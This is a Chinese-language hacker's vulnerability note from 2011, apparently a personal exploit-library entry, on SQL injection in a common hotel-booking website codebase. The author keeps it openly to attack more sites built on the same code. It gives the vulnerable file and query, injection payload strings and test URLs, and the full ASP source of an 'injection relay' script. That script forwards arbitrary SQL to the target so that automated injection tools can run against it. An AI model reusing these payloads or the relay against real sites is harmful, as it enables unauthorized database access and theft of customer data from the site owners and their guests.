酒店、宾馆预定,酒店查询,酒店网站 SQL 注入漏洞。
私人脚本漏洞库放的老玩意儿,很久了,之前干一个站,总结的一点资料,方便日后干同类型的站,很多宾馆预订、酒店查询类的网站都用这套源码,这个漏洞比较菜,勿喷。。。
我个人喜欢总结每次渗透的资料,越详细越好。
漏洞名称:
酒店、宾馆预定,酒店查询,酒店网站 SQL 注入漏洞
发现时间:
2011年8月28日, 01:54:11
漏洞文件:
/hotel/hotel_search.asp
利用条件:
Null
漏洞原因:
文件:/hotel/hotel_search.asp,没有过滤提交参数,导致任意注入。
网站内很多文件均存在此漏洞,不止这一个。
Sql查询语句为:
select * form table where ( name='关键词' and minPrice >0 and minPrice < 100000 ORDER BY status DESC ) ORDER BY status DESC
关键词:' and minPrice >0 Or ''='
漏洞测试:
1、https://lcx.cc/hotel/hotel_search.asp?cid=2&intime=2011-8-28&outtime=2011-8-31&p1=0&p2=100000&jdld=0&key_name='%20or%20''='
2、https://lcx.cc/hotel/hotel_search.asp?cid=2&intime=2011-8-28&outtime=2011-8-31&p1=0&p2=100000&jdld=0&key_name='%20and%20minPrice>218%20or%20''='
漏洞利用:
1、由于注入语句比较特别,无法使用工具直接跑,需使用注入中转:index.asp。
2、使用方法(需先修改文件中的URL地址):http://127.0.0.1/index.asp?sql=SQL语句
注意事项:
1、Null
其他信息:
Null
index.asp 注入中转脚本源码:
<% Dim Sql, Url Sql = Request("Sql") 'Sql = "' " & Sql & " or ''='" Sql = "')" & Sql & ";--" Url = "https://lcx.cc/hotel/hotel_search.asp?cid=2&intime=2011-8-28&outtime=2011-8-31&p1=0&p2=100000&jdld=0&key_name=" & UrlEncoding(Sql, True) Set Xml = Server.CreateObject("Microsoft.xmlhttp") Xml.Open "GET", Url, False Xml.Send Response.Write Url & "<br><br>" Response.Write "select * form table where ( name='<font color='red'>" & Sql & "</font>' and minPrice >0 and minPrice < 100000 ORDER BY status DESC ) ORDER BY status DESC" & "<br>" Response.BinaryWrite Xml.ResponseBody Response.End '----------------------------------------------------------------' '功能描述:URL编码函数 '输入参数:中英文混合字符串,f是否对ASCII字符编码 '返回值:编码后的ASC字符串 Public Function UrlEncoding(v, f) 'URL编码 Dim s, t, i, j, h, l, x: s = "": x = Len(v) For i = 1 To x t = Mid(v, i, 1): j = Asc(t) If j > 0 Then If f Then s = s & "%" & Right("00" & Hex(Asc(t)), 2) Else s = s & t End If Else If j < 0 Then j = j + &H10000 h = (j And &HFF00) \ &HFF l = j And &HFF s = s & "%" & Hex(h) & "%" & Hex(l) End If Next UrlEncoding = s End Function %>